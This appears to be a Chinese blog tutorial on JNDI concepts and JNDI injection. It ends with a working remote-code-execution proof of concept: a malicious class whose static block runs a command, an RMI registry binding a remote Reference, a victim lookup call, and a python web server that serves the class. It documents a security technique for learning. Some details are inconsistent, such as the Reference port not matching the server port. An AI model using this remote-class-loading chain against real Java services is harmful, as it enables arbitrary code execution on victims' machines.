log4j横扫世界,在爆刚出来的时候,我还不会java,最近学习java,赶紧把jndi注入学学。
0x00 什么是 JNDI?
JNDI(Java Naming and Directory Interface)
是Java提供的Java 命名和目录接口
。通过调用JNDI
的API
应用程序可以定位资源和其他程序对象。JNDI
是Java EE
的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源)
,JNDI
可访问的现有的目录及服务有:JDBC
、LDAP
、RMI
、DNS
、NIS
、CORBA
。(什么是JDBC、LDAP、RMI等可以看我系列其他文章。
上面提到了两个东西,Naming和Directory, 而jndi是他们的接口。
我们想要了解jndi,就要先了解Naming和Directory是什么。
1. 什么是Naming?
“名称”?你可能对它的常用称呼更熟悉,“名称服务
”。 可以理解为按照名称查找服务。
而RMI就是一种典型的命名服务。
2. 什么是Directory?
中文叫做“目录服务”,是名称服务的扩展。目录服务不止可以通过名称查找服务,还可以通过服务的属性来查找服务。
举个例子:
以打印机服务为例,名称服务
就是我们查看不同打印机的名字,来选择具体哪一个打印机服务。而目录服务
就是我们通过查看不同打印机的分辨率、速率、单双面打印功能来选择哪一个打印机服务。
3. API
我们知道,目录服务是去中心化网络中心的一个重要组件。
在Java中除了以常规方式使用名称服务(比如使用 DNS 解析域名),另一个常见的用法是使用目录服务作为对象存储的系统,即用目录服务来存储和获取 Java 对象。
于是就有了Jndi,作为名称和目录服务的接口,应用通过该接口与具体的目录服务进行交互从设计上,JNDI 独立于具体的目录服务实现,因此可以针对不同的目录服务提供统一的操作接口。
JNDI 架构上主要包含两个部分,即 Java 的应用层接口和 SPI,如下图所示:
这么多概念,其实只要理解**jndi是对各种访问目录服务的逻辑进行了再封装就可以了。
有了jndi,我们可以不用写很多底层代码去操控不同的命名或目录服务。
除了RMI,LDAP和CORBA都是目录服务。(RMI是java特有的,其他两个是通用的服务和标准,可以脱离java使用)
应用不需要直接接触底层的命名或目录服务,而是通过jndi去访问。
0X01 jndi 服务代码实现
jndi可以访问DNS服务,但是与jndi注入关系不大,在此我就不提了。
而我想说的是RMI的远程调用、LDAP连接。
在说他们之前,我先说下访问JNDI目录服务一些必要的操作
1. JNDI目录服务
访问JNDI
目录服务时会通过预先设置好环境变量访问对应的服务, 如果创建JNDI
上下文(Context
)时未指定环境变量
对象,JNDI
会自动搜索系统属性(System.getProperty())
、applet 参数
和应用程序资源文件(jndi.properties)
。
*使用*JNDI
创建目录服务对象代码片段:****
```
// 创建环境变量对象
Hashtable env = new Hashtable();
// 设置JNDI初始化工厂类名
env.put(Context.INITIAL_CONTEXT_FACTORY, "类名");
//列举一些类名
//DNS服务:com.sun.jndi.dns.DnsContextFactory
//RMI服务:com.sun.jndi.rmi.registry.RegistryContextFactory
//LADP服务:com.sun.jndi.ldap.LdapCtxFactory
// 设置JNDI提供服务的URL地址
env.put(Context.PROVIDER_URL, "url");
// 创建JNDI目录服务对象
DirContext context = new InitialDirContext(env);
```
2. JNDI-RMI远程方法调用
```
package com.anbai.sec.jndi;
import com.anbai.sec.rmi.RMITestInterface;
import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.rmi.RemoteException;
import java.util.Hashtable;
import static com.anbai.sec.rmi.RMIServerTest.*;
public class RMIRegistryContextFactoryTest {
public static void main(String[] args) {
String providerURL = "rmi://" + RMI_HOST + ":" + RMI_PORT;
// 创建环境变量对象
Hashtable env = new Hashtable();
// 设置JNDI初始化工厂类名
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
// 设置JNDI提供服务的URL地址
env.put(Context.PROVIDER_URL, providerURL);
// 通过JNDI调用远程RMI方法测试,等同于com.anbai.sec.rmi.RMIClientTest类的Demo
try {
// 创建JNDI目录服务对象
DirContext context = new InitialDirContext(env);
// 通过命名服务查找远程RMI绑定的RMITestInterface对象
RMITestInterface testInterface = (RMITestInterface) context.lookup(RMI_NAME);
// 调用远程的RMITestInterface接口的test方法
String result = testInterface.test();
System.out.println(result);
} catch (NamingException e) {
e.printStackTrace();
} catch (RemoteException e) {
e.printStackTrace();
}
}
}
```
程序执行结果:
Hello RMI~
3. JNDI-LDAP
LDAP
的服务处理工厂类是:com.sun.jndi.ldap.LdapCtxFactory
,连接LDAP
之前需要配置好远程的LDAP
服务。
```
package com.anbai.sec.jndi;
import javax.naming.Context;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;
public class LDAPFactoryTest {
public static void main(String[] args) {
try {
// 设置用户LDAP登陆用户DN
String userDN = "cn=Manager,dc=javaweb,dc=org";
// 设置登陆用户密码
String password = "1qaz2wsx";
// 创建环境变量对象
Hashtable
// 设置JNDI初始化工厂类名
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
// 设置JNDI提供服务的URL地址
env.put(Context.PROVIDER_URL, "ldap://localhost:389");
// 设置安全认证方式
env.put(Context.SECURITY_AUTHENTICATION, "simple");
// 设置用户信息
env.put(Context.SECURITY_PRINCIPAL, userDN);
// 设置用户密码
env.put(Context.SECURITY_CREDENTIALS, password);
// 创建LDAP连接
DirContext ctx = new InitialDirContext(env);
// 使用ctx可以查询或存储数据,此处省去业务代码
ctx.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
```
0x02 jndi 动态协议转换
我们上面几个实现demo配置了jndi的初始化环境,但这都不是最重要的,动态协议转换才是最重要的.
什么是动态协议转换?
如果JNDI
在lookup
时没有指定初始化工厂名称,会自动根据协议类型动态查找内置的工厂类然后创建处理对应的服务请求。
举个例子:
如果提前配置了Context.PROVIDER_URL属性,当我们调用lookup()方法时,如果lookup方法的参数像这样
lookup("rmi://localhost:1099/hello")
那么客户端就会去lookup()方法参数指定的uri中加载远程对象,而不是去Context.PROVIDER_URL设置的地址去加载对象
JNDI
默认支持自动转换的协议有:
| 协议名称 | 协议URL | Context类 |
| -------------------------- | ---------------- | --------------------------------------------------------- |
| DNS协议 | dns://
| com.sun.jndi.url.dns.dnsURLContext
|
| RMI协议 | rmi://
| com.sun.jndi.url.rmi.rmiURLContext
|
| LDAP协议 | ldap://
| com.sun.jndi.url.ldap.ldapURLContext
|
| LDAP协议 | ldaps://
| com.sun.jndi.url.ldaps.ldapsURLContextFactory
|
| IIOP对象请求代理协议 | iiop://
| com.sun.jndi.url.iiop.iiopURLContext
|
| IIOP对象请求代理协议 | iiopname://
| com.sun.jndi.url.iiopname.iiopnameURLContextFactory
|
| IIOP对象请求代理协议 | corbaname://
| com.sun.jndi.url.corbaname.corbanameURLContextFactory
|
*正是因为有这个特性,才导致当lookup()方法的参数可控时,攻击者可以通过提供一个恶意的url地址来控制受害者加载攻击者指定的恶意类。*
但即使这样,我们也不能完成攻击,拿RMI举例子(因为jndi注入是分不同服务不一样的攻击面)
因为受害者本地没有攻击者提供的类的class文件,所以调用不了方法,所以我们需要借助下面提到的东西(Reference)
0x03 JNDI-Reference
Java提供了Reference类,方便开发者获取远程RMI服务器或LDAP服务器上为Reference 类或者其子类的对象,在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。
通过Reference,我们就可以远程加载恶意类了.
而恶意类如何调用恶意方法,我们需要了解一个知识:
我们先看一个类
```
public class RmiTest {
{
System.out.printf("Empty block initial %s\n", this.getClass());
}
static {
System.out.printf("Static initial %s\n", RmiTest.class);
}
public RmiTest() {
System.out.printf("Initial %s\n", this.getClass());
}
public static void main(String[] args) {
new RmiTest();
}
}
```
你猜会输出什么?
结果是
Static initial class com.RmiTest
Empty block initial class com.RmiTest
Initial class com.RmiTest
这说明,实例化一个类,首先会运行static初始化,所以,我们可以把恶意方法写到static中,在受害者远程加载恶意类后,就自动触发恶意方法.
创建Reference实例时几个比较关键的属性:
- className:远程加载时所使用的类名;
- classFactory:加载的class中需要实例化类的名称;
- classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;
当然,要把一个对象绑定到rmi注册表中,这个对象需要继承UnicastRemoteObject,但是Reference没有继承它,所以我们还需要封装一下它,用 ReferenceWrapper 包裹一下Reference实例对象,这样就可以将其绑定到rmi注册表,并被远程访问到了,demo如下:
// 第一个参数是远程加载时所使用的类名, 第二个参数是要加载的类的完整类名(这两个参数可能有点让人难以琢磨,往下看你就明白了),第三个参数就是远程class文件存放的地址了
Reference refObj = new Reference("refClassName", v"insClassName", "http://axin.com:6666/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
当有客户端通过lookup("refObj")获取远程对象时,获取的是一个Reference存根,由于是Reference的存根,所以客户端会现在本地的classpath中去检查是否存在类refClassName,如果不存在则去指定的url.
所以我们需要保证受害者的本地没有我们的refClassName类.这个就是名字注意一下就好.
0x04 Jndi注入
1. 原理
前面说了这么多,就可以说明白攻击流程了.
我们以rmi举例
jndi注入的利用条件(任选其一)
- 客户端的lookup()方法的参数可控
- 服务端在使用Reference时,classFactoryLocation参数可控~
如果lookup可控
首先要有个受害者,然后我们准备一个rmi恶意服务器(服务器有注册表的功能),准备一个恶意类(Reference),然后将此恶意类编译为class文件,开启web服务,将class文件放到web服务下(可用python的快速web服务命令).
如果classFactoryLocation可控
首先要有个受害者,准备一个恶意类(Reference),然后将此恶意类编译为class文件,开启web服务,将class文件放到web服务下(可用python的快速web服务命令).
其实两者是一样的,只不过一个可控参数在客户端,一个在服务端,只要两者任意一个可控,我们最后都能加载我们的恶意类.
将恶意的Reference类绑定在RMI恶意服务器的注册表上,恶意引用指向了远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行
2. 安全限制
但是java不可能放任不管,所以也存在一些安全限制.
在RMI
服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly
配置必须为false(允许加载远程对象)
,如果该值为true
则禁止引用远程对象。除此之外被引用的ObjectFactory
对象还将受到com.sun.jndi.rmi.object.trustURLCodebase
配置限制,如果该值为false(不信任远程引用对象)
一样无法调用远程的引用对象。
JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121
开始java.rmi.server.useCodebaseOnly
默认配置已经改为了true
。JDK 6u132, JDK 7u122, JDK 8u113
开始com.sun.jndi.rmi.object.trustURLCodebase
默认值已改为了false
。
LDAP
在JDK 11.0.1、8u191、7u201、6u211
后也将默认的com.sun.jndi.ldap.object.trustURLCodebase
设置为了false
。
那难道高版本的JDK我们就不能注入了吗?
有限制就有绕过,先留个坑,等之后我可能会写.
当然也可以参考这个文章:如何绕过高版本 JDK 的限制进行 JNDI 注入利用
3. 漏洞利用
- 创建一个恶意对象
```
import javax.lang.model.element.Name;
import javax.naming.Context;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.HashMap;
public class EvilObj {
public Object getObjectInstance(Object obj, Name name, Context context, HashMap<?, ?> environment) throws Exception{
return null;
}
static {
try{
String sb = "";
//在exec后面加入像执行的命令
BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec("calc.exe").getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
String lineStr;
while((lineStr = inBr.readLine()) != null){
sb += lineStr+"\n";
}
inBr.close();
inBr.close();
}catch (Exception e){
e.printStackTrace();
}
}
}
```
可以看到这里利用的是static代码块执行命令
- 创建rmi服务端,绑定恶意的Reference到rmi注册表
```
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("EvilObj", "EvilObj", "http://127.0.0.1:2333/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil", referenceWrapper);
}
}
```
- 创建一个客户端(受害者)
```
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public static void main(String[] args) throws NamingException {
Context context = new InitialContext();
context.lookup("rmi://localhost:1099/evil");
}
}
```
可以看到这里的lookup方法的参数是指向我设定的恶意rmi地址的。
然后先编译该项目,生成class文件,然后在class文件目录下用python启动一个简单的HTTP Server:
python -m SimpleHTTPServer 6666
执行上述命令就会在6666端口、当前目录下运行一个HTTP Server:
然后运行Server端,启动rmi registry服务
最后运行客户端(受害者):
成功弹出计算器。注意,我这里用到的jdk版本为jdk1.7.0_80,下面是rmi动态调用的一个流程
参考链接:
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论